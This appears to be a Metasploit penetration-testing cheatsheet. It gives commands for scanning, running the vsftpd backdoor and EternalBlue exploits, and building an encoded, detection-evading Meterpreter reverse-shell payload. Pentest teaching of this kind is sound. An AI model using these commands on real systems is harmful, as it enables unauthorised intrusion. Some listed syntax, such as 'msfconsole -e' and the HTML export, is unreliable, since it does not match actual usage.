Metasploit Framework Cheatsheet for Penetration Testing

📱 Mobile Security Tips

Mike Torres — Android Security Engineer

What is Metasploit Framework?

The Metasploit Framework is an open-source platform for developing, testing, and executing exploits against remote targets. It’s widely used by security professionals to automate repetitive tasks and enhance the effectiveness of penetration testing.

Installation

To install Metasploit Framework, you can use a package manager or download it directly from the official site. For example, on Kali Linux, it can be installed with:

sudo apt update && sudo apt install metasploit-framework

Basic Syntax

The basic structure of a Metasploit command looks like this:

msfconsole -e EXPR

Replace EXPR with the command or the module you want to execute.

Discovery

Finding Hosts

Use the following command to discover live hosts in a target range:

nmap -sn 192.168.1.0/24

To integrate Nmap scans with Metasploit:

db_nmap -sS -O -p- 192.168.1.0/24

Scanning

Vulnerability Scanning

To scan for vulnerabilities:

nmap --script=vuln 192.168.1.1

Exploitation

Searching for Exploits

Find available exploits for a specific service:

search vsftpd

Using Exploits

Execute an exploit after setting the target:

use exploit/unix/ftp/vsftpd_234_backdoor

Set required options:

set RHOSTS 192.168.1.1

Analysis

Post-Exploitation

To gather information post-exploitation:

run post/multi/gather/enum_users

Evasion

Encoding Payloads

Use these commands to encode payloads to evade detection:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=443 -f exe -e x86/shikata_ga_nai -b '\x00'

Reporting

Generate Reports

Generate an HTML report from your session:

db_export -f html -o report.html

Quick Reference Table

Flag Description
-p Specify the payload
-e Specify the encoder for payloads
-f Specify the format of output

Pro Tips

  • Regularly update the Metasploit Framework to access the latest modules and fixes.
  • Utilize the built-in database for storing and querying your scans and results.
  • Use ‘tab completion’ for commands and module names.

Real-World Examples

Example of exploiting a target:

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.105
exploit